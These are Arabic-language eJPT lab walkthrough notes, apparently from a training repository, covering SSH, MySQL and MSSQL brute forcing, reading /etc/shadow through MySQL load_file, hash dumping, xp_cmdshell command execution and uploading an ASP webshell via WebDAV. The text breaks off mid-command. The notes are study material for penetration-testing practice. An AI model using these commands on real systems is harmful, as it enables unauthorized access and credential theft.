ماراح تعرف وش المسار فالافضل تسجل عن طريق الـ SSH utility 104 | [ssh student@192.142.86.3] 105 | وتقعد تفر على راحتك 106 | 107 | -------------------------------------------------------------------------------------------- 108 | 109 | راح نبداء باللاب الثالث الي هو 110 | ### SSH Recon: Dictionary Attack 111 | 112 | 113 | هذا طبعا نفس اللاب الي قبل لكن يحتاج نسوي بروت فورس عشان نحصل الباسورد 114 | 115 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 116 | [nmap -sV 192.43.243.0/24] 117 | انتبه راح يتغير الايبي مو نفس الي هنا شيك على اللاب الي عندك عن طريق كتابة امر 118 | [ifconfig] 119 | 120 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 121 | [target: 192.43.243.3] 122 | 123 | طبعا اللاب عطانا اليوزر الي هو 124 | student 125 | لكن مطلوب مننا نحصل الباسورد فراح نستخدم التنين hydra 126 | [hydra -l student -P /usr/share/wordlists/rockyou.txt 192.43.243.3 ssh] 127 | لاتنسى تفك الضغط عن الليسته 128 | [gzip -d /usr/share/wordlists/rockyou.txt] 129 | 130 | الان حصلنا الباسورد الي هو 131 | username: student password:friend 132 | 133 | الان كل الي علينا نشبك عليه وراح نقدر ندخل بدون مشاكل 134 | طبعا الان فيه طريقة ثانيه الي هي باداة الـ nmap 135 | 136 | طبعا موضوع الـ nmap قروشه 137 | لانه مايقبل تعطيه اليوزر كنص عادي تكتبه لابد يكون داخل ملف ف بنسوي هذا الامر 138 | [echo "administrator" > users] 139 | الان صار عندنا ملف اسمه users 140 | فيه اليوزر administrator 141 | 142 | الان راح نشغل السكربت على هذا اليوزر 143 | [nmap -p 22 --script ssh-brute --script-args userdb=/root/users 192.43.243.3] 144 | نلاحظ انه بدا الان وحصلنا الباسورد نحصله تحت طبعا 145 | Accounts: 146 | administrator:sunshine - Valid credentials 147 | 148 | والان نقدر نتصل سواء باليوزر الاول او الثاني 149 | 150 | طبعا اخر فكره انك تسوي بروت فورس عن طريق msfconsole 151 | نفتح الفريم وورك بالامر التالي 152 | [msfconsole] 153 | ونستخدم هذا الموديول 154 | [use auxiliary/scanner/ssh/ssh_login] 155 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 156 | [show options] 157 | لابد نعطيه قيم لهذي المتغيرات RHOST , USERPASS_FILE 158 | طبعا عندنا هذا المتغير الي هو المفروض تكون قيمته اليوزر USERNAME 159 | لكن حنا استخدمنا ووردليست فيها يوزر وباسورد ف مايحتاج نحط القيمه لانه بيسحبها من الووردليست 160 | [set RHOSTS 192.40.231.3]هذا التارقت 161 | [set USERPASS_FILE /usr/share/wordlists/metasploit/root_userpass.txt] هذا الليسته حقت الباسوردات 162 | [set STOP_ON_SUCCESS true] طبعا هذا يعني انه اذا نجحت وحصلت الباسورد وقف 163 | [set verbose true] طبعا هذا عشان نشوف كل محاوله وحالتها هل نجحت او لا 164 | [exploit] or [run] عشان نشغل الموديول ويبدا يجرب 165 | 166 | فحصلنا اليوزر والباسورد 167 | username: root password:attack 168 | 169 | طبعا عطانا session لكن نجيها بعدين مو الحين نشرحها باذن الله 170 | نروح نسجل بالـ SSH 171 | [ssh root@192.43.243.3] 172 | وزي مانعرف ان الروت اعلى صلاحيات في نظام لينكس نفس يوزر administrator في الويندوز 173 | -------------------------------------------------------------------------------------------- 174 | 175 | راح نبداء باللاب الرابع الي هو 176 | ### Windows Recon: IIS 177 | 178 | 179 | طبعا هذا اللاب يتكلم عن بروتوكول HTTP 180 | وانواع موجوده فيه مثل 181 | apache,nginx ,Windows IIS servers 182 | 183 | الـ IIS 184 | هو سيرفر للويب ودائما بتحصله على ويندوز مستحيل تحصله على لينكس 185 | لينكس غالبا تحصل اباتشي و انجينكس 186 | 187 | طبعا هنا معطينا الايبي الي يبينا نفحصه 188 | [nmap -sV 10.5.30.122] 189 | راح نحصل ان بورت HTTP مفتوح 190 | وشغال عليه Microsoft IIS httpd 10.0 191 | طبعا في اللاب شارح اداة whatweb 192 | طبعا انت اذا كنت تتعامل مع الويب لابد تعرف اهم الاشياء مثل 193 | المسارات المخفيه و نوع السيرفر و نوع الفريم وورك المستخدم 194 | 195 | فكرة الاداة نفس اداة wappalyzer 196 | طبعا wappalyzer 197 | اكستنشن ويب تضيفه على متصفحك ويعطيك معلومات كثيره تخص الموقع الي انت داخله 198 | ف انا انصح بهذي الاداةافضل واسرع 199 | 200 | طبعا فيه اداة اسمها HTTP 201 | وظيفته يرسل الريكوست ويعطيك الريسبونس على التيرمنال 202 | 203 | طبعا فيه اداة اسمها dirb 204 | هذي وظيفتها تعطيها ووردليست وتخمن لكن المسارات بالموقع وتعطيك النتيجة لو كان موجود المسار او لا 205 | [dirb http://10.5.30.122] وراح يستخدم ووردليست من عنده الي هي الديفولت ووردليست 206 | 207 | نلاحظ انه عطانا مسارات كثير حاليا و نقدر ندخلها من المتصفح 208 | او نقدر نستخدم اداة اسمها browsh 209 | 210 | وظيفة الاداة غبيه شوي لكن يقولك انه لو ماعندك متصفح تستخدم هذي الاداة لكن ممكن تفيدك في احد السياريوهات لكن هذا الامر عشان تفتحه 211 | [browsh --startup-url http://10.5.30.122/Default.aspx] 212 | الان فتح لنا الصفحة بس تلاحظ كيف كله بكسل مربعات ومو واضح ف الافضل انك تفتح من المتصفح حقك 213 | -------------------------------------------------------------------------------------------- 214 | 215 | راح نبداء باللاب الخامس الي هو 216 | ### Windows Recon: IIS: Nmap Scripts 217 | 218 | 219 | طبعا نفس فكرة اللاب السابق لكن بنستخدم سكربتات nmap 220 | 221 | فقط الاختلاف بالاداة بيكون بدال مانستخدم 222 | whatweb , HTTP , dirb 223 | راح نسويها عن طريق سكربتات الـ nmap 224 | 225 | طبعا هنا معطينا الايبي الي يبينا نفحصه 226 | 227 | بنفحص بالاداة nmap 228 | [nmap -sV 10.6.28.112] 229 | 230 | وحصلنا ان بورت HTTP مفتوح 231 | وحصلنا الاصدار 232 | Microsoft IIS httpd 10.0 233 | 234 | فيه سكربت وظيفته انه يجيب لك المسارات او مجلدات مهمه 235 | [nmap --script http-enum -sV 10.6.28.112] 236 | نشوف انه حصلنا ثلاث مجلدات مهمه 237 | 238 | والان السكربت الثاني الي هو http-headers 239 | عشان يجيب لك الهيدرات الموجوده في الريسبونس 240 | ففيه هيدر يوضح لك اصدار السيرفر مثلا يعلمك الكوكي لو كان فيه يطلع لك المسار الخ.. 241 | [nmap --scrip http-headers -p 80 10.6.28.112] 242 | 243 | وفيه سكربت اخر يطلع لك ايش الميثود الي تقدر تستخدمهم في مسار معين انت تحدده مثل 244 | GET , POST , PUT , DELETE etc.. 245 | [nmap --script http-methods --script-args http.methodes.url-path=/webdav/ -p 80 10.6.28.112] 246 | فراح يعطينا الان الميثود حقت المسار الي حددناه الي هو webdav 247 | 248 | طبعا فيه سكربت اخر نفس المخرجات لكن مخصص للفريم وورك هذا الي هو webdav 249 | [nmap --script http-webdav-scan --script-args http-methods.url-path=/webdav/ 250 | 10.6.28.112] 251 | نلاحظ انه نفس المخرجات 252 | -------------------------------------------------------------------------------------------- 253 | 254 | راح نبداء باللاب السادس الي هو 255 | ### Apache Recon: Basics 256 | 257 | 258 | طبعا في هذا اللاب راح ناخذ سيرفر الاباتشي Apache 259 | وطبعا يعتبر الاكثر استخدام ومن اهم مميزاته انه مايحدك على نظام تشغيل ميعن نفس الـ IIS 260 | هذا السيرفر تقدر تشغله سواء على ويندوز او لينكس وهو الاكثر استخدام 261 | 262 | 263 | طبعا هنا معطينا الايبي الي يبينا نفحصه 264 | 265 | بنفحص بالاداة nmap 266 | [nmap -sV 192.46.22.3] 267 | 268 | طبعا اول شي راح نستخدمه هو سكربت في اداة الـ nmap 269 | وظيفته يجيب لك اصدار الاباتشي من الهيدر الي في الريسبونس 270 | صحيح انه جاب لنا الاصدار عشان استخدمنا -sV 271 | لكن فيه هيدر معين لهالشي وهذا هو الامر 272 | [nmap -sV --script banner 192.46.22.3] 273 | ونلاحظ انه عطانا الاصدار 274 | - Apache/2.4.18 275 | 276 | وفيه طريقة اخرى عن طريق MSFconsole 277 | [msfconsole] عشان نفتح الفريم وورك 278 | والان نحدد الموديول 279 | [use auxiliary/scanner/http/http_version] 280 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 281 | [show options] 282 | بعدها نلاحظ انه طالب فقط ايبي التارقت RHOST 283 | [set RHOSTS 192.46.22.3] عشان نحدد له ايبي التارقت 284 | [exploit] or [run] عشان نشغل الموديول 285 | ونلاحظ انه عطانا الاصدار 286 | - Apache/2.4.18 287 | 288 | الان بنجرب اداة جديده وهي اداة curl 289 | وهي وظيفتها ترسل الريكوست وتعطينا الرد كامل في التيرمنال او الصفحة الي دخلناها 290 | [curl http://192.46.22.3/] 291 | 292 | عندنا اداة ثانيه نفس الاداة السابقه والي هي اسمها wget 293 | الفرق انه يحمل لك الصفحة بدال مايعرضها لك 294 | [ wget “http://192.46.22.3/index”] 295 | نلاحظ انه حملنا الصفحة 296 | 297 | طبعا عندنا موديول في الـ MSFconsole 298 | وظيفته نفس اداة dirb 299 | يجيب لك مسارات او مجلدات موجوده في الموقع 300 | [msfconsole] عشان نفتح الفريم وورك 301 | والان نحدد الموديول 302 | [use auxiliary/scanner/http/brute_dirs] 303 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 304 | [show options] 305 | بعدها نلاحظ انه طالب فقط ايبي التارقت RHOST 306 | [set RHOSTS 192.46.22.3] عشان نحدد له ايبي التارقت 307 | [exploit] or [run] عشان نشغل الموديول 308 | والان نشوف اانه حصلنا مسارات 309 | 310 | فيه كذالك موديول ثاني لملف الـ robots.txt 311 | وهذا الملف وظيفته انه يمنع المتصفحات من انها تعرض لك بعض الصفحات في المتصفح 312 | ف راح تحصل فيه مسارات قد تكون مهمه 313 | [msfconsole] عشان نفتح الفريم وورك 314 | والان نحدد الموديول 315 | [use auxiliary/scanner/http/robots_txt] 316 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 317 | [show options] 318 | بعدها نلاحظ انه طالب فقط ايبي التارقت RHOST 319 | [set RHOSTS 192.46.22.3] عشان نحدد له ايبي التارقت 320 | -------------------------------------------------------------------------------------------- 321 | 322 | راح نبداء باللاب السابع الي هو 323 | ### MySQL Recon: Basics 324 | 325 | 326 | طبعا الان بنشوف كيف نقدر نبحث او نجمع معلومات عن خدمة MySQL 327 | وهذي الخدمة معروفه وتخص قواعد البيانات 328 | 329 | طبعا في هذا اللاب ماعطانا تارقت معين فراح نفحص كامل الشبكة 330 | [nmap -sV 192.168.179.0/24] 331 | 332 | طبعا اختصار للوقت نعرف ان التارقت حقنا في هذا اللاب 333 | [target: 192.168.179.3] 334 | 335 | ف نسوي nmap scam 336 | [nmap -sV 192.168.179.3] 337 | 338 | نلاحظ انه البورت 3306 مفتوح والسيرفس او الخدمة الي عليه هي MySQL 339 | 340 | طبعا الاصدارات القديمه فيها خطا او misconfigruation 341 | وهو انه فيه يوزر ديفولت نفس الـ SSH 342 | ف هنا الديفولت يوزر لقاعدة البيانات هذي هو root ويكون بدون باسورد 343 | 344 | ف الان كيف نتصل بقاعدة البيانات؟ 345 | [mysql -h 192.168.179.3 -u root] 346 | 347 | طبعا هنا نستخدم لغة sql عشان نتعامل مع القاعدة ف عندنا بعض الاوامر 348 | [show databases;] هذا عشان يعرض لنا كل قاعدة البيانات الي بنستخدمها 349 | [use books;] هنا عشان نحدد القاعدة الي نبي نسوي عليها الكويري 350 | [select count(*) from authors;] هنا خليناه يحسب لنا عدد الصفوف من التيبل الي اسمه autors 351 | 352 | كذالك عندنا موديول في الـ MSFconsole 353 | وظيفة الموديول هذا انه يحمل لك الداتا بيس او السكيما بشكل اصح 354 | [msfconsole] عشان نفتح الفريم وورك 355 | والان نحدد الموديول 356 | [use auxiliary/scanner/mysql/mysql_schemadump] 357 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 358 | [show options] 359 | نلاحظ انه طالب مننا RHOST USERNAME PASSWORD 360 | راح نعطيه القيم لهذي المتغيرات 361 | [set RHOSTS 192.168.179.3] 362 | [set USERNAME root] 363 | [set PASSWORD ""] 364 | ونشوف انه طلع لنا كامل الداتا بيس 365 | ايش اسم الداتا بيس الموجوده ايش الكولوم الموجوده داخله الداتا بيس 366 | 367 | طبعا فيه موديول اخر وظيفته يعطيك هل صلاحية الكتابه عندك او لا على المسار الي تحدده تشوف هل عندك صلاحية الكتابه او لا وتقدر تحدد اسم الفايل الي تبيه يكتب فيه لو كان عندك هذي الصلاحية 368 | [msfconsole] عشان نفتح الفريم وورك 369 | والان نحدد الموديول 370 | [use auxiliary/scanner/mysql/mysql_writable_dirs] 371 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 372 | [show options] 373 | نلاحظ طالب مننا DIR_LIST RHOST PASSWORD 374 | نعطيه القيم لهذي المتغيرات 375 | [set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt] 376 | [set RHOSTS 192.168.179.3] 377 | [set VERBOSE false]طبعا هذا فقط عشان مايعرض لنا التفاصيل ويكون زحمه 378 | [set PASSWORD ""] 379 | [exploit] or [run] 380 | 381 | طبعا فيه موديول ثاني بعد يطلع لك الملفات الحساسه مثل /etc/passwd , /etc/shadow etc.. 382 | [msfconsole] عشان نفتح الفريم وورك 383 | والان نحدد الموديول 384 | [use auxiliary/scanner/mysql/mysql_file_enum] 385 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 386 | [show options] 387 | نلاحظ طالب مننا RHOST , FILE_LIST 388 | نعطيه القيم لهذي المتغيرات 389 | [set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt] طبعا لابد تحط الليسته بناء على نظام التشغيل الي تتعامل معه 390 | [set RHOST 192.168.179.3] 391 | [set PASSWORD ""] 392 | [exploit] or [run] 393 | 394 | فعطانا كل الملفات الي عندنا عليها صلاحية كتابه 395 | طبعا كيف نقرا الملف عن طريق mysql? 396 | اول شي نسجل دخول 397 | [mysql -h 192.168.179.3 -u root] 398 | بعدها نسوي هذا الامر عشان نقرا الملف 399 | [select load_file("/etc/shadow");] 400 | 401 | طبعا عندنا موديول ثاني يجيب لك الهاش حق الـ MySQL وليس حق النظام 402 | [msfconsole] عشان نفتح الفريم وورك 403 | والان نحدد الموديول 404 | [use auxiliary/scanner/mysql/mysql_hashdump] 405 | ونشوف ايش المتغيرات المطلوبه عن طريق الامر هذا 406 | [show options] 407 | نلاحظ طالب مننا RHOST , USERNAME , PASSWORD 408 | نعطيه القيم لهذي المتغيرات 409 | [set RHOSTS 192.168.179.3] 410 | [set USERNAME root] 411 | [set PASSWORD ""] 412 | [exploit] or [run] 413 | 414 | الان طلعنا كل الهاشات الموجوده حقت قاعدة البيانات 415 | 416 | الان بنجرب سكربت nmap 417 | وظيفته انه يشوف هل بيقبل ان الروت يكون بدون باسورد وبيدخلني او لا 418 | [nmap --scropt=mysql-empty-password -p 3306 192.168.179.3] 419 | 420 | وفيه كذالك سكربت اخر مثل الاصدار و معلومات اخرى 421 | [nmap --script=mysql-into -p 3306 192.168.179.3] 422 | 423 | وفيه كذالك سكربت يعطيك اليوزرات 424 | [nmap --scropt=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.179.3] 425 | ونشوف انه عطانا كل اليوزرات الموجوده على mysql 426 | 427 | السكربت الي بعده يطلع لك وش الداتا بيس الموجوده 428 | [nmap --scropt=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.179.3] 429 | 430 | وكذالك فيه سكربت وظيفته يطلع لك المتغيرات حقت قاعدة البيانات 431 | [nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 432 | 3306 192.168.179.3] 433 | 434 | السكربت هذا ماقدرت اشرحه عربي ف جبت لك ريسورس تقرا عن السكربت 435 | طبعا الموقع هو موقع الاداة الرسمي 436 | [https://nmap.org/nsedoc/scripts/mysql-audit.html] 437 | 438 | [nmap --script=mysql-audit --script-args 439 | "mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/n 440 | selib/data/mysql-cis.audit'" -p 3306 192.168.179.3] 441 | -------------------------------------------------------------------------------------------- 442 | 443 | @s4cript | @cyberhub | @@0xNawaF1 444 | -------------------------------------------------------------------------------- /network-PT-cyberhub-4.md: -------------------------------------------------------------------------------- 1 | # Session 4 (ejpt) - Day 4 2 | ## Assessment Methodologies part 3 3 | 4 | 5 | السلام عليكم ورحمة الله وبركاته 6 | 7 | اليوم باذن الله راح نبدا ماتوقفنا عليه امس والي هو لاب 8 | MySQL Recon: Dictionary Attack 9 | 10 | 11 | --- 12 | 13 | راح نبداء باللاب الاول الي هو 14 | 15 | MySQL Recon: Dictionary Attack 16 | -----------------------------------| 17 | 18 | طبعا هذا اللاب المطلوب نسوي بروت فورس على يوزر الروت عشان نحصل الباسورد 19 | 20 | طبعا راح نستخدم في هذي المره الـ MSFconsole 21 | 22 | راح اكتب الاوامر مباشره بدون شرح هالمره في هذا اللاب لان استعملناه من قبل 23 | 24 | مطلوب مننا نجيب الباسورد حق يوزر الروت راح نسوي بروت فورس عن طريق MSFconsole 25 | [msfconsole] 26 | [use auxiliary/scanner/mysql/mysql_login] 27 | [set RHOSTS 192.149.194.3] 28 | [set USERNAME root] 29 | [set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt] 30 | [set VERBOSE false] 31 | [set STOP_ON_SUCCESS true] 32 | [exploit] or [run] 33 | 34 | نشوف انه عطانا الباسورد لاب خفيف جدا 35 | 36 | 37 | --- 38 | 39 | 40 | راح نبداء باللاب الثاني الي هو 41 | 42 | MSSQL: Nmap Scripts 43 | -----------------------------------| 44 | 45 | طبعا الان بعد مافتحنا اللاب ظاهر لنا التارقت راح نسوي scan 46 | 47 | وبنستخدم اداة nmap 48 | [nmap -sV 10.6.26.48] 49 | 50 | زي مانشوف الان طلع لنا البروتوكولات المفتوحه 51 | 52 | طبعا الاشياء الفرق فقط البورت وكذالك اسم السيرفس مختلف وهذا يعتبر اصدار ويندوز 53 | 54 | port = 1433 55 | server= ms-sql-s 56 | 57 | راح نسوي بحث الان عن هذا البورت نجمع معلومات عنه باستخدام nmap script 58 | [nmap -sV --script ms-sql-ntlm-info mssql.instance-port=1433 10.6.26.48 -p 1433] 59 | 60 | الان طلعنا معلومات عن البورت مو مره مهم بس عطاك الاصدار ممكن تبحث عن الـCVEs 61 | 62 | فيه سكربت ثاني الي هو يسوي بروت فورس نفس هايدرا بس عن طريق الـ nmap script 63 | [nmap -sV --script ms-sql-brute --script-args mssql.instance-port=1433 userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 10.6.26.48 -p 1433] 64 | 65 | طبعا حدننا الوردليست الي نبي نستخدمها لليوزر والباسورد 66 | نلاحظ انه حصلنا 3 يوزرات مع باسورداتهم 67 | 68 | فيه برضو نفس الشي انه نشوف هل فيه يوزر الديفولت وبدون باسورد او لا 69 | اليوزر الديفلوت sa 70 | [nmap -p 1433 --script ms-sql-empty-password 10.6.26.48] 71 | ونشوف انه حصل اليوزر وفعلا بدون باسورد فنقدر نسجل دخول فيه 72 | 73 | طبعا السكربت هذا ينفذ لك امر الاستعلام في sql 74 | تعطيه كويري معين ويعطيك النتيجه 75 | [nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * from master..syslogins" 10.6.26.48 -oN OUTPUT.txt] 76 | -oN = عشان يحفظ لنا المخرجات في ملف بتنسيق معين 77 | نشوف انه عرض لنا النتيجة وكذالك سوا لنا ملف بالاسم الي حددناه وبنفس الفورمات الي حددناه 78 | 79 | وفيه كذالك الفنكشن الي اسمها xp_cmdshell 80 | لو كانت مفعله يمدي تاخذ reverse shell 81 | [nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="whoami" 10.6.26.48 ] 82 | نلاحظ انه نفذ لنا الامر وطبع لنا المخرجات 83 | طبعا باي ديفولت السكربت ينفذ لك امر ipconfig /all 84 | لو حددت امر معين نفس الي سويناه بينفذ لك الامر الي تكتبه 85 | 86 | طبعا ناخذ الفلاق بنفس الطريقة 87 | [nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="dir" 10.6.26.48 ] 88 | الان نحصل الفلاق في مسار معين لابد تبحث عنه لكن احنا اختصار للوقت حصلناه هنا 89 | [nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" 10.6.26.48 ] 90 | 91 | 92 | --- 93 | 94 | راح نبداء باللاب الثاني الي هو 95 | 96 | Recon:MSSQL: Metasploit 97 | -----------------------------------| 98 | طبعا نفس الافكار الي قبل لكن باداة مختلفه الي هي MSFconsole 99 | 100 | طبعا معطينا الايبي هنا راح نسوي nmap scan 101 | [nmap -sV 10.0.20.101] 102 | نلاحظ ان البورت مفتوح وكذالك الخدمة لي عليه هي MSSQL 103 | port = 1433 104 | 105 | راح نستخدم نفس السكربت الي قبل عشان نشوف الاصدار ومعلومات ثانيه ممكن تفيدنا 106 | [nmap --script ms-sql-info -p 1433 10.0.20.101] 107 | 108 | وحصلنا انه شغال على Microsoft SQL Server 2019 109 | 110 | راح نشغل الميتاسبلويت ونشوف بعض الموديول الي يساعدنا 111 | نفتح الفريم وورك بالامر التالي 112 | [msfconsole] 113 | ونستخدم هذا الموديول 114 | [use auxiliary/scanner/mssql/mssql_login] هذا الموديول راح يسوي بروت فورس للي تحدده سواء يوزر او باسورد او كلهم 115 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 116 | [show options] 117 | نحتاج نعيطه RHOST , USER_FILE , PASS_FILE 118 | [set RHOSTS 10.0.20.101] 119 | [set USER_FILE /root/Desktop/wordlist/common_users.txt] الليسته حقت اليوز 120 | [set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt] الليسته حقت الباسورد 121 | [set VERBOSE false] عشان مايعطينا كل تجاربه ويسوي زحمه بالتيرمنال 122 | [exploit] or [run] 123 | 124 | نلاحظ انه حصلنا 3 يوزرات 125 | sa بدون باسورد وهذا نعرف انه الديفولت يوزر 126 | dbadmin , auditor هذي اليوزرات وكذالك الباسورد ظاهر لنا 127 | 128 | 129 | فيه موديول ثاني وظيفته يعطينا معلومات ويجمع لنا اياها كلها طبعا كثير راح يعطيك معلومات مهمه 130 | نفتح الفريم وورك بالامر التالي 131 | [msfconsole] 132 | ونستخدم هذا الموديول 133 | [use auxiliary/admin/mssql/mssql_enum] 134 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 135 | [show options] 136 | نحتاج نعطيه RHOST , USERNAME لو ماكان اليوزر الديفولت متاح , PASSWORD 137 | في حالتنا موجود الديفولت يوزر ف مانحناج نظيف يوزر وباسورد 138 | [set RHOSTS 10.0.20.101] 139 | [exploit] or [run] 140 | ونشوف كيف كمية المعلومات الي ممكن تبني عليها هجمتك 141 | 142 | الي بعده هو راح نسوي login 143 | على قاعدة البيانات عن طريق موديول معين نشوفه مع بعض 144 | طبعا راح يعطيك معلومات ماراح نتعامل مع القاعدة 145 | مثل اليوزرات والخ 146 | نفتح الفريم وورك بالامر التالي 147 | [msfconsole] 148 | ونستخدم هذا الموديول 149 | [use auxiliary/admin/mssql/mssql_enum_sql_logins] 150 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 151 | [show options] 152 | [set RHOSTS 10.0.20.101] 153 | [exploit] or [run] 154 | 155 | فيه الان موديول عشان ننفذ الكويري على القاعدة نفس فكرة الي سويناه مع xp-cmdshell with nmap script 156 | نفتح الفريم وورك بالامر التالي 157 | [msfconsole] 158 | ونستخدم هذا الموديول 159 | [use auxiliary/admin/mssql/mssql_exec] 160 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 161 | [show options] 162 | [set RHOSTS 10.0.20.101] 163 | [set CMD whoami] 164 | [exploit] or [run] 165 | 166 | طبعا مب قاعدين نعطيه يوزر وباسورد لانه عندنا الديفولت يوزر متاح وبدون باسورد ف الموديول حاطه لنا من نفسه 167 | 168 | فيه موديول ثاني راح يطلع لك كمية معلومات مثل اليوزرات و القروبات الي موجوده 169 | نفتح الفريم وورك بالامر التالي 170 | [msfconsole] 171 | ونستخدم هذا الموديول 172 | [use auxiliary/admin/mssql/mssql_enum_domain_accounts] 173 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 174 | [show options] 175 | [set RHOSTS 10.0.20.101] 176 | [exploit] or [run] 177 | 178 | 179 | --- 180 | 181 | طبعا القسمين هذي شارحين فيه ادوات لها بديل عنها كثير و افضل ف راح نعديهم 182 | 183 | ### Assessment Methodologies: Vulnerability Assessment 184 | ### Host & Networking Auditing 185 | 186 | --- 187 | 188 | وراح نبدا في 189 | 190 | Host & Network Penetration Testing 191 | ---------------------------------------| 192 | 193 | طبعا اول لاب معنا فيه هذا الجزء هو اللاب 194 | 195 | Windows: IIS Server DAVTest 196 | --------------------------------| 197 | طبعا هذا ويب سيرفر قديم الان شبه معدوم 198 | 199 | نلاحظ انه عطانا التارقت هنا 200 | 201 | راح نسوي nmap scan 202 | [nmap -sV 10.6.22.214] 203 | 204 | راح نشغل سكربت عشان نشوف وش السيرفر الي شغال على هذا البورت او ايش سيرفر الويب الي يستخدمونه على بورت 80 205 | [nmap --script http-enum -sV -p 80 10.6.22.214] 206 | طبعا عطانا انه Unauthorized 207 | لانه حاول يدخل وطبعا ماعطاه username , password 208 | ف رد السيرفر كان ماراح اسمح لك تدخل لانه ماعندك يوزر اصلا 209 | 210 | راح الان نشتغل باداة السيرفر هذا والي هي 211 | [davtest -url http://10.6.22.214/webdav] 212 | نلاحظ انه عطانا نفس الرد الي عطاه nmap لما حاولت تدخل 213 | 214 | طبعا في اللاب معطينا اليوزر والباسورد 215 | فالفكره انه لو واجهة بالواقع كذا لابد تبحث عن اليوزر الديفلوت وتحاول تدخل 216 | راح نسجل الان 217 | [davtest -auth bob:password_123321 -url http://10.6.22.214/webdav] 218 | طبعا الي تسويه الاداة انها ترفع ملفات باكثر من اكستنشن ويعطينا وش يقبل السيرفر من اكستنشنز تتم رفعها على السرفر فنلاحظ انه عطانا ليسته من الملفات الي تم رفعها وموضح الاكستنشن في النهاية 219 | مثل 220 | .htlm , .asp , .pl , .jsp , .php etc... 221 | طبعا فيه هذا الحاله على طول بنفكر انه نقدر نرفع ملف معين باكستنشن معين عشان ناخذ reverse shell 222 | 223 | وطبعا فيه اداة اخرى راح نستعملها عشان نسوي هالشي والي هي cadaver 224 | [cadaver http://10.6.22.214/webdav] 225 | راح يطلب منك اليوزر و الباسورد نسجلهم ونشوف انه دخلنا على السيرفر 226 | 227 | الان نقدر نرفع ملفات لسيرفر بكل سهوله باستخدام امر put ونقدر نسوي اوامر ثانيه اكتب help عشان تشوف ايش الاوامر الي تقدر تنفذها 228 | [put /usr/share/webshells/asp/webshell.asp] 229 | ونشوف انه نجح الرفع ولو نكتب امر ls بنشوف الملف الي رفعناه موجود 230 | 231 | طبعا الان نقدر ندخل على الويب شيل الي رفعناه عن طريق هذا الـ URL 232 | [http://10.6.22.214/webdav/webshell.asp] 233 | ونعطيه اليوزر والباسورد 234 | ونشوف انه دخلنا على الويب شيل وننفذ اوامرنا بكل سهوله 235 | طبعا زي ماذكرت سابق تقدر تاخذ reverse shell بما انه قدرنا نرفع الملف وندخل عليه 236 | زي مانلاحظ فيه خانه اعلى الصفحة نقدر نكتب فيها الامر ونضغط run 237 | وراح يتنفذ معك الامر 238 | نجرب ننفذ هذا الامر whoami 239 | وراح يكون الـ URL بهالشكل 240 | [http://10.6.22.214/webdav/webshell.asp?cmd=whoami] 241 | 242 | طبعا مطلوب مننا نقرا الفلاق ف تقعد تدور الفلاق لكن اختصار للوقت حنا نعرف انه في هذا المسار 243 | C:\flag.txt 244 | فراح نقراه بهذا الامر 245 | [type C:\flag.txt] 246 | بعدها نضغط run 247 | ونلاحظ انه جبنا الفلاق 248 | 249 | --- 250 | 251 | طبعا ثاني لاب معنا فيه هذا الجزء هو اللاب 252 | 253 | Windows: IIS Server: WebDav Metasploit 254 | ---------------------------------------| 255 | 256 | طبعا في هذا اللاب راح نطبق نفس الشي لكن باستخدام MSFconsole 257 | 258 | زي مانشوف معطينا الايبي 259 | 260 | راح نفحصه بالـ nmap scan 261 | [nmap -sV 10.0.17.27] 262 | نلاحظ ان بورت 80 شغال 263 | راح نستخدم نفس السكربت السابق عشان نشوف ايش السيرفر الي شغال على بورت 80 264 | [nmap --script http-enum -sV -p 80 10.0.17.27] 265 | 266 | ونشوف انه عطانا نفس النتيجه والي هو سيرفر webdav 267 | وقالنا انه رفض يدخله السيرفر لانه مامعه يوزر وباسورد 268 | 269 | راح نجرب الان باداة davtest نفس الي سويناه سابقا 270 | [davtest -url http://10.0.17.27/webdav] 271 | ونشوف انه عطانا نفس النتيجة Unauthorized 272 | 273 | بنجرب نعطيه الان اليوزر والباسورد الي موجوده باللاب 274 | [davtest -auth bob:password_123321 -url http://10.0.17.27/webdav] 275 | ونشوف انه دخلنا وعطانا ايش يقبل السيرفر من اكستنشنز 276 | 277 | الان بشنغل الفريم وورك 278 | [msfconsole] 279 | ونستخدم هذا الموديول 280 | [use exploit/windows/iis/iis_webdav_upload_asp] وظيفته يرفع لك الملف 281 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 282 | [show options] 283 | طالب مننا HttpUsername , HttpPassword ,RHOST 284 | [set RHOSTS 10.0.17.27] 285 | [set HttpUsername bob] 